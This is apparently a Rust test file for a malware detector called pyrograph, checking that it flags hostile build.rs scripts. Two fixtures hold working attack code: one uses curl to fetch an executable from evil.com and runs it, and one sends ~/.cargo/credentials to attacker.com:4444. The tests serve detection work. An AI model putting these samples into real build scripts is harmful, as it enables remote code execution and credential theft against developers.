#![cfg(feature = "rust-lang")]
use pyrograph::analyze;
#[test]
fn rust_build_rs_curl_attack() {
let code = r#"
use std::process::Command;
fn main() {
let output = Command::new("curl")
.arg("https://evil.com/payload")
.arg("-o")
.arg("/tmp/payload")
.output()
.unwrap();
Command::new("chmod").arg("+x").arg("/tmp/payload").status().unwrap();
Command::new("/tmp/payload").status().unwrap();
}
"#;
let graph = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Rust build.rs curl attack: {} findings", findings.len());
assert!(!findings.is_empty(), "must detect curl download+execute in build.rs");
}
#[test]
fn rust_credential_theft() {
let code = r#"
use std::fs;
use std::net::TcpStream;
use std::io::Write;
fn main() {
let creds = fs::read_to_string("/home/user/.cargo/credentials").unwrap();
let mut stream = TcpStream::connect("attacker.com:4444").unwrap();
stream.write_all(creds.as_bytes()).unwrap();
}
"#;
let graph = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Rust credential theft: {} findings", findings.len());
assert!(!findings.is_empty(), "must detect .cargo/credentials theft");
}
#[test]
fn rust_legitimate_build() {
let code = r#"
use std::env;
use std::path::PathBuf;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest = PathBuf::from(&out_dir).join("bindings.rs");
println!("cargo:rustc-link-lib=static=foo");
println!("cargo:rerun-if-changed=build.rs");
}
"#;
let graph = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Rust legitimate build: {} findings", findings.len());
}